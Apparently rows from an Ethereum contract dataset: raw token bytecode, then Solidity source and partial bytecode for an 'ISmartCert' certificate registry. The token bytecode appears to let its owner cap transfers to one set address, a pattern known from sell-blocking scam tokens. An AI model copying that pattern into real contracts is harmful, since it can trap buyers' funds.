0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063b4a99a4e11610066578063b4a99a4e146104ae578063dd62ed3e146104e2578063eb7d2cce1461055a578063f2fde38b1461058857610100565b8063715018a61461037957806395d89b411461038357806396bfcd2314610406578063a9059cbb1461044a57610100565b8063313ce567116100d3578063313ce5671461028e578063408e9645146102af57806344192a01146102dd57806370a082311461032157610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066e565b60405180821515815260200191505060405180910390f35b6101f461068c565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b60405180821515815260200191505060405180910390f35b610296610755565b604051808260ff16815260200191505060405180910390f35b6102db600480360360208110156102c557600080fd5b810190808035906020019092919050505061076c565b005b61031f600480360360208110156102f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a3565b005b6103636004803603602081101561033757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aaf565b6040518082815260200191505060405180910390f35b610381610af8565b005b61038b610c7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cb5780820151818401526020810190506103b0565b50505050905090810190601f1680156103f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104486004803603602081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d21565b005b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e2d565b60405180821515815260200191505060405180910390f35b6104b6610e4b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610544600480360360408110156104f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e71565b6040518082815260200191505060405180910390f35b6105866004803603602081101561057057600080fd5b8101908080359060200190929190505050610ef8565b005b6105ca6004803603602081101561059e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd4565b005b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106645780601f1061063957610100808354040283529160200191610664565b820191906000526020600020905b81548152906001019060200180831161064757829003601f168201915b5050505050905090565b600061068261067b6111df565b84846111e7565b6001905092915050565b6000600654905090565b60006106a3848484611346565b61074a846106af6111df565b61074585600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fc6111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b6111e7565b600190509392505050565b6000600960009054906101000a900460ff16905090565b6107746111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610834576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166108546111df565b73ffffffffffffffffffffffffffffffffffffffff16141561087557600080fd5b61088a8160065461165790919063ffffffff16565b6006819055506108e981600260006108a06111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600260006108f56111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061093b6111df565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6109ab6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b006111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d175780601f10610cec57610100808354040283529160200191610d17565b820191906000526020600020905b815481529060010190602001808311610cfa57829003601f168201915b5050505050905090565b610d296111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e41610e3a6111df565b8484611346565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f006111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b610fdc6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461109c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611122576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117a06026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561122157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125b57600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561138057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114655750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561147957600a54811061147857600080fd5b5b6114cb81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061164f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116df565b905092915050565b6000808284019050838110156116d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600083831115829061178c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611751578082015181840152602081019050611736565b50505050905090810190601f16801561177e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220b68f036b8b96db15e1b2ea5034e8c7ee929251a4500c7972b7b23f8341e3338964736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,050 |
0x2Fb3C22230c39496eDc13c16d09F34368346Ac1D
|
pragma solidity ^0.4.17;
contract ISmartCert {
// state variables
mapping (bytes32 => SignedData) hashes;
mapping (address => AccessStruct) accessList;
mapping (bytes32 => RevokeStruct) revoked;
mapping (bytes32 => Lvl2Struct[]) idMap;
address owner;
// constants
string constant CODE_ACCESS_DENIED = "A001";
string constant CODE_ACCESS_POSTER_NOT_AUTHORIZED = "A002";
string constant CODE_ACCESS_ISSUER_NOT_AUTHORIZED = "A003";
string constant CODE_ACCESS_VERIFY_NOT_AUTHORIZED = "A004";
string constant MSG_ISSUER_SIG_NOT_MATCHED = "E001"; //"Issuer's address not matched with signed hash";
string constant MSG_DOC_REGISTERED = "E002"; //"Document already registered";
string constant MSG_REVOKED = "E003"; //"Document already revoked";
string constant MSG_NOTREG = "E004"; //"Document not registered";
string constant MSG_INVALID = "E005"; //"Document not valid";
string constant MSG_NOFOUND = "E006"; //"No record found";
string constant MSG_INVALID_CERT_MERKLE_NOT_MATCHED = "E007";
string constant MSG_INVALID_ACCESS_RIGHT = "E008";
string constant MSG_BATCH_REVOKED = "E009"; //"Batch that the document belong to has already been revoked";
string constant MSG_MERKLE_CANNOT_EMPTY = "E010";
string constant MSG_MERKLE_NOT_REGISTERED = "E011";
string constant STATUS_PASS = "PASS";
string constant STATUS_FAIL = "FAIL";
bytes1 constant ACCESS_ISSUER = 0x04;
bytes1 constant ACCESS_POSTER = 0x02;
bytes1 constant ACCESS_VERIFIER = 0x01;
bytes1 constant ACCESS_ALL = 0x07;
bytes1 constant ACCESS_ISSUER_POSTER = 0x05;
bytes1 constant ACCESS_NONE = 0x00;
struct SignedData {
// string data;
bytes sig;
uint registerDate;
bool exists; // empty entry to this struct initially set to false
}
struct RecordStruct {
bytes32 recordId; // ref id to hashstore
bool exists; // empty entry to this struct initially set to false
}
struct Lvl2Struct {
bytes32 recordId;
bytes32 certhash;
bool exists;
}
struct RevokeStruct {
bool exists;
bytes32 merkleHash;
bool batchFlag;
uint date;
}
struct AccessStruct {
bytes1 accessRight;
uint date;
bool isValue;
}
function ISmartCert() public {
owner = msg.sender;
}
event LogUserRight(string, string);
function userRight(address userAddr, bytes1 accessRight, uint date) public {
if (owner != msg.sender) {
LogUserRight(STATUS_FAIL, CODE_ACCESS_DENIED);
return;
}
if (accessRight != ACCESS_ISSUER && accessRight != ACCESS_POSTER && accessRight != ACCESS_VERIFIER && accessRight != ACCESS_ALL && accessRight != ACCESS_ISSUER_POSTER && accessRight != ACCESS_NONE) {
LogUserRight(STATUS_FAIL, MSG_INVALID_ACCESS_RIGHT);
return;
}
accessList[userAddr].accessRight = accessRight;
accessList[userAddr].date = date;
accessList[userAddr].isValue = true;
LogUserRight(STATUS_PASS, "");
}
function checkAccess(address user, bytes1 access) internal view returns (bool) {
if (accessList[user].isValue) {
if (accessList[user].accessRight & access == access) {
return true;
}
}
return false;
}
function internalRegisterCert(bytes32 certHash, bytes sig, uint registrationDate) internal returns (string, string) {
address issuer;
if (!checkAccess(msg.sender, ACCESS_POSTER)) {
return (STATUS_FAIL, CODE_ACCESS_POSTER_NOT_AUTHORIZED);
}
issuer = recoverAddr(certHash, sig);
if (!checkAccess(issuer, ACCESS_ISSUER)) {
return (STATUS_FAIL, CODE_ACCESS_ISSUER_NOT_AUTHORIZED);
}
if (hashes[certHash].exists) {
// check if doc has already been revoked
if (revoked[certHash].exists) {
return (STATUS_FAIL, MSG_REVOKED);
} else {
return (STATUS_FAIL, MSG_DOC_REGISTERED);
}
}
// signed data (in r, s, v)
hashes[certHash].sig = sig;
// certificate registration date (YYYYmmdd)
hashes[certHash].registerDate = registrationDate;
// indicate the record exists
hashes[certHash].exists = true;
return (STATUS_PASS, "");
}
function internalRegisterCertWithID(bytes32 certHash, bytes sig, bytes32 merkleHash, uint registrationDate, bytes32 id) internal returns (string, string) {
string memory status;
string memory message;
// check if any record associated with id
for (uint i = 0; i < idMap[id].length; i++) {
if (idMap[id][i].exists == true && idMap[id][i].certhash == certHash) {
return (STATUS_FAIL, MSG_DOC_REGISTERED);
}
}
// check if merkle root has already been revoked
if (merkleHash != 0x00) {
if (revoked[merkleHash].exists && revoked[merkleHash].batchFlag) {
return (STATUS_FAIL, MSG_BATCH_REVOKED);
}
}
// check if merkle root is empty
if (merkleHash == 0x00) {
return (STATUS_FAIL, MSG_MERKLE_CANNOT_EMPTY);
}
// check if merkle is exists
if (!hashes[merkleHash].exists) {
return (STATUS_FAIL, MSG_MERKLE_NOT_REGISTERED);
}
// register certificate
(status, message) = internalRegisterCert(certHash, sig, registrationDate);
if (keccak256(status) != keccak256(STATUS_PASS)) {
return (status, message);
}
// store record id by ID
idMap[id].push(Lvl2Struct({recordId:merkleHash, certhash:certHash, exists:true}));
return (STATUS_PASS, "");
}
function internalRevokeCert(bytes32 certHash, bytes sigCertHash, bytes32 merkleHash, bool batchFlag, uint revocationDate) internal returns (string, string) {
address issuer1;
address issuer2;
// check poster access right
if (!checkAccess(msg.sender, ACCESS_POSTER)) {
return (STATUS_FAIL, CODE_ACCESS_POSTER_NOT_AUTHORIZED);
}
// check issuer access right
issuer1 = recoverAddr(certHash, sigCertHash);
if (!checkAccess(issuer1, ACCESS_ISSUER)) {
return (STATUS_FAIL, CODE_ACCESS_ISSUER_NOT_AUTHORIZED);
}
// if batch, ensure both certHash and merkleHash are same
if (batchFlag) {
if (certHash != merkleHash) {
return (STATUS_FAIL, MSG_INVALID_CERT_MERKLE_NOT_MATCHED);
}
if (merkleHash == 0x00) {
return (STATUS_FAIL, MSG_MERKLE_CANNOT_EMPTY);
}
}
if (merkleHash != 0x00) {
// check if doc (merkle root) is registered
if (hashes[merkleHash].exists == false) {
return (STATUS_FAIL, MSG_NOTREG);
}
// check if requested signature and stored signature is same by comparing two issuer addresses
issuer2 = recoverAddr(merkleHash, hashes[merkleHash].sig);
if (issuer1 != issuer2) {
return (STATUS_FAIL, MSG_ISSUER_SIG_NOT_MATCHED);
}
}
// check if doc has already been revoked
if (revoked[certHash].exists) {
return (STATUS_FAIL, MSG_REVOKED);
}
// store / update
if (batchFlag) {
revoked[certHash].batchFlag = true;
} else {
revoked[certHash].batchFlag = false;
}
revoked[certHash].exists = true;
revoked[certHash].merkleHash = merkleHash;
revoked[certHash].date = revocationDate;
return (STATUS_PASS, "");
}
// event as a form of return value, state mutating function cannot return value to external party
event LogRegisterCert(string, string);
function registerCert(bytes32 certHash, bytes sig, uint registrationDate) public {
string memory status;
string memory message;
(status, message) = internalRegisterCert(certHash, sig, registrationDate);
LogRegisterCert(status, message);
}
event LogRegisterCertWithID(string, string);
function registerCertWithID(bytes32 certHash, bytes sig, bytes32 merkleHash, uint registrationDate, bytes32 id) public {
string memory status;
string memory message;
// register certificate
(status, message) = internalRegisterCertWithID(certHash, sig, merkleHash, registrationDate, id);
LogRegisterCertWithID(status, message);
}
// for verification
function internalVerifyCert(bytes32 certHash, bytes32 merkleHash, address issuer) internal view returns (string, string) {
bytes32 tmpCertHash;
// check if doc has already been revoked
if (revoked[certHash].exists && !revoked[certHash].batchFlag) {
return (STATUS_FAIL, MSG_REVOKED);
}
if (merkleHash != 0x00) {
// check if merkle root has already been revoked
if (revoked[merkleHash].exists && revoked[merkleHash].batchFlag) {
return (STATUS_FAIL, MSG_REVOKED);
}
tmpCertHash = merkleHash;
} else {
tmpCertHash = certHash;
}
// check if doc in hash store
if (hashes[tmpCertHash].exists) {
if (recoverAddr(tmpCertHash, hashes[tmpCertHash].sig) != issuer) {
return (STATUS_FAIL, MSG_INVALID);
}
return (STATUS_PASS, "");
} else {
return (STATUS_FAIL, MSG_NOTREG);
}
}
function verifyCert(bytes32 certHash, bytes32 merkleHash, address issuer) public view returns (string, string) {
string memory status;
string memory message;
bool isAuthorized;
// check verify access
isAuthorized = checkVerifyAccess();
if (!isAuthorized) {
return (STATUS_FAIL, CODE_ACCESS_VERIFY_NOT_AUTHORIZED);
}
(status, message) = internalVerifyCert(certHash, merkleHash, issuer);
return (status, message);
}
function verifyCertWithID(bytes32 certHash, bytes32 merkleHash, bytes32 id, address issuer) public view returns (string, string) {
string memory status;
string memory message;
bool isAuthorized;
// check verify access
isAuthorized = checkVerifyAccess();
if (!isAuthorized) {
return (STATUS_FAIL, CODE_ACCESS_VERIFY_NOT_AUTHORIZED);
}
// check if any record associated with id
for (uint i = 0; i < idMap[id].length; i++) {
if (idMap[id][i].exists == true && idMap[id][i].certhash == certHash) {
(status, message) = internalVerifyCert(certHash, merkleHash, issuer);
return (status, message);
}
}
// no record found
return (STATUS_FAIL, MSG_NOFOUND);
}
function checkVerifyAccess() internal view returns (bool) {
// check if sender is authorized for cert verification
return checkAccess(msg.sender, ACCESS_VERIFIER);
}
// event as a form of return value, state mutating function cannot return value to external party
event LogRevokeCert(string, string);
function revokeCert(bytes32 certHash, bytes sigCertHash, bytes32 merkleHash, bool batchFlag, uint revocationDate) public {
string memory status;
string memory message;
(status, message) = internalRevokeCert(certHash, sigCertHash, merkleHash, batchFlag, revocationDate);
LogRevokeCert(status, message);
}
// event LogReissueCert(string, bytes32, string);
event LogReissueCert(string, string);
function reissueCert(bytes32 revokeCertHash, bytes revokeSigCertHash, bytes32 revokeMerkleHash, uint revocationDate, bytes32 registerCertHash, bytes registerSig, uint registrationDate) public {
string memory status;
string memory message;
// revoke certificate
(status, message) = internalRevokeCert(revokeCertHash, revokeSigCertHash, revokeMerkleHash, false, revocationDate);
if (keccak256(status) != keccak256(STATUS_PASS)) {
LogReissueCert(status, message);
return;
}
// register certificate
(status, message) = internalRegisterCert(registerCertHash, registerSig, registrationDate);
LogReissueCert(status, message);
if (keccak256(status) != keccak256(STATUS_PASS)) {
revert();
}
LogReissueCert(STATUS_PASS, "");
}
event LogReissueCertWithID(string, string);
function reissueCertWithID(bytes32 revokeCertHash, bytes revokeSigCertHash, bytes32 revokeMerkleHash, uint revocationDate, bytes32 registerCertHash, bytes registerSig, bytes32 registerMerkleHash, uint registrationDate, bytes32 id) public {
string memory status;
string memory message;
// revoke certificate
(status, message) = internalRevokeCert(revokeCertHash, revokeSigCertHash, revokeMerkleHash, false, revocationDate);
if (keccak256(status) != keccak256(STATUS_PASS)) {
LogReissueCertWithID(status, message);
return;
}
// register certificate
(status, message) = internalRegisterCertWithID(registerCertHash, registerSig, registerMerkleHash, registrationDate, id);
LogReissueCertWithID(status, message);
if (keccak256(status) != keccak256(STATUS_PASS)) {
revert();
}
LogReissueCertWithID(STATUS_PASS, "");
}
function recoverAddr(bytes32 hash, bytes sig) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
//Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
assembly {
r := mload(add(sig, 33))
s := mload(add(sig, 65))
v := mload(add(sig, 1))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(1));
} else {
return ecrecover(hash, v, r, s);
}
}
}
|
0x60606040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063419259ef1461009357806367f6a2581461016c57806395fe4608146102a45780639dab3cd41461032f578063bee588e91461039c578063c03d1b1d1461040f578063c1a82cdb14610554578063eb34330114610647575b600080fd5b341561009e57600080fd5b61016a60048080356000191690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035600019169060200190919080359060200190919080356000191690602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919080359060200190919050506106d4565b005b341561017757600080fd5b6101bd6004808035600019169060200190919080356000191690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c2e565b604051808060200180602001838103835285818151815260200191508051906020019080838360005b838110156102015780820151818401526020810190506101e6565b50505050905090810190601f16801561022e5780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b8381101561026757808201518184015260208101905061024c565b50505050905090810190601f1680156102945780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34156102af57600080fd5b61032d60048080356000191690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035600019169060200190919080351515906020019091908035906020019091905050610d01565b005b341561033a57600080fd5b61039a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080357effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916906020019091908035906020019091905050610e38565b005b34156103a757600080fd5b61040d60048080356000191690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091905050611635565b005b341561041a57600080fd5b61046d600480803560001916906020019091908035600019169060200190919080356000191690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611768565b604051808060200180602001838103835285818151815260200191508051906020019080838360005b838110156104b1578082015181840152602081019050610496565b50505050905090810190601f1680156104de5780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b838110156105175780820151818401526020810190506104fc565b50505050905090810190601f1680156105445780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b341561055f57600080fd5b61064560048080356000191690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035600019169060200190919080359060200190919080356000191690602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919080356000191690602001909190803590602001909190803560001916906020019091905050611990565b005b341561065257600080fd5b6106d260048080356000191690602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919080356000191690602001909190803590602001909190803560001916906020019091905050611eee565b005b6106dc61372c565b6106e461372c565b6106f289898960008a612025565b80925081935050506040805190810160405280600481526020017f50415353000000000000000000000000000000000000000000000000000000008152506040518082805190602001908083835b6020831015156107655780518252602082019150602081019050602083039250610740565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916826040518082805190602001908083835b6020831015156107cc57805182526020820191506020810190506020830392506107a7565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916141515610912577ffb83643da87efabd931b46ca8bb8fcc36fc637ad35565217d012c945c716f0338282604051808060200180602001838103835285818151815260200191508051906020019080838360005b8381101561086b578082015181840152602081019050610850565b50505050905090810190601f1680156108985780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b838110156108d15780820151818401526020810190506108b6565b50505050905090810190601f1680156108fe5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a1610c23565b61091d8585856126f5565b80925081935050507ffb83643da87efabd931b46ca8bb8fcc36fc637ad35565217d012c945c716f0338282604051808060200180602001838103835285818151815260200191508051906020019080838360005b8381101561098c578082015181840152602081019050610971565b50505050905090810190601f1680156109b95780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b838110156109f25780820151818401526020810190506109d7565b50505050905090810190601f168015610a1f5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a16040805190810160405280600481526020017f50415353000000000000000000000000000000000000000000000000000000008152506040518082805190602001908083835b602083101515610a995780518252602082019150602081019050602083039250610a74565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916826040518082805190602001908083835b602083101515610b005780518252602082019150602081019050602083039250610adb565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916141515610b3d57600080fd5b7ffb83643da87efabd931b46ca8bb8fcc36fc637ad35565217d012c945c716f0336040805190810160405280600481526020017f5041535300000000000000000000000000000000000000000000000000000000815250604051808060200180602001838103835284818151815260200191508051906020019080838360005b83811015610bd8578082015181840152602081019050610bbd565b50505050905090810190601f168015610c055780820380516001836020036101000a031916815260200191505b50838103825260008152602001602001935050505060405180910390a15b505050505050505050565b610c3661372c565b610c3e61372c565b610c4661372c565b610c4e61372c565b6000610c58612aa8565b9050801515610cdc576040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f413030340000000000000000000000000000000000000000000000000000000081525081915080905094509450610cf6565b610ce7888888612adc565b80935081945050508282945094505b505050935093915050565b610d0961372c565b610d1161372c565b610d1e8787878787612025565b80925081935050507f3b159512dbc69289cc0eac2411f695d78de5e99d3ebd8bd917fbe8c20f2ad1748282604051808060200180602001838103835285818151815260200191508051906020019080838360005b83811015610d8d578082015181840152602081019050610d72565b50505050905090810190601f168015610dba5780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015610df3578082015181840152602081019050610dd8565b50505050905090810190601f168015610e205780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a150505050505050565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611007577fbfeba4cb7f1f84f3a07f600949a153e3714b91dcbf556dc92841aaea5cf8f40f6040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f4130303100000000000000000000000000000000000000000000000000000000815250604051808060200180602001838103835285818151815260200191508051906020019080838360005b83811015610f60578082015181840152602081019050610f45565b50505050905090810190601f168015610f8d5780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015610fc6578082015181840152602081019050610fab565b50505050905090810190601f168015610ff35780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a1611630565b60047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141580156110e5575060027f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614155b8015611158575060017f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614155b80156111cb575060077f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614155b801561123e575060057f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614155b80156112b1575060007f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614155b1561142e577fbfeba4cb7f1f84f3a07f600949a153e3714b91dcbf556dc92841aaea5cf8f40f6040805190810160405280600481526020017f4641494c000000000000000000000000000000000000000000000000000000008152506040805190810160405280600481526020017f453030380000000000000000000000000000000000000000000